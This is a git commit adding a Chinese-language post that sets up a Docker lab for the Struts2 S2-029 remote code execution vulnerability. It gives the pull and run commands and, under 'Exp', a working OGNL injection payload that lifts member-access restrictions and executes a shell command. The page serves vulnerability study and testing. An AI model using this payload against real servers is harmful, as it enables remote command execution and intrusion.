(Add Vul: Struts2) Struts2 远程代码执行漏洞(S2-029)

This commit is contained in:
Medicean 2017-11-01 23:20:34 +08:00
parent e36f08ec56
commit 41a1aa1773

View File

@ -0,0 +1,53 @@
---
layout: post
title: "Struts2 远程代码执行漏洞(S2-029)"
date: 2017-06-13 18:44:00 +0800
image: '/assets/img/'
description: 'Struts2 远程代码执行漏洞(S2-029)环境'
main-class: 'hole'
color: '#B31917'
tags:
- Struts2
- RCE
categories:
- Struts2
twitter_text: 'Struts2 远程代码执行漏洞(S2-029)环境'
introduction: 'Struts2 远程代码执行漏洞(S2-029)环境'
---
### 漏洞信息
* [S2-029 公告](http://struts.apache.org/docs/s2-029.html)
详细参考 [http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html)
### 获取环境:
1. 拉取镜像到本地
```bash
$ docker pull medicean/vulapps:s_struts2_s2-029
```
2. 启动环境
```bash
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029
```
> `-p 80:8080` 前面的 80 代表物理机的端口,可随意指定。
### 使用与利用
访问 `http://你的 IP 地址:端口号/`
#### Exp
命令执行
```
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
```
![](https://github.com/Medicean/VulApps/raw/master/s/struts2/s2-029/s2-029-1.png)
### 其它
感谢 [@zerokeeper](https://github.com/zerokeeper) 贡献